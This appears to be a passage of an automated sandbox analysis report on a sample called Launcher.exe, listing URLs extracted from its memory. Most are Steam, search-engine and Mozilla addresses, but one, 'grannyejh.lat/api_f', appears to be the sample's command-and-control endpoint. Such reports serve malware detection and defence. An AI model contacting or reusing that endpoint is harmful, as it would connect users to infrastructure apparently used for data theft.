Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Launcher.exe, 00000003.00000003.2319197118.0000000003A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/im
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Launcher.exe, 00000003.00000003.2183979276.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api_f
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
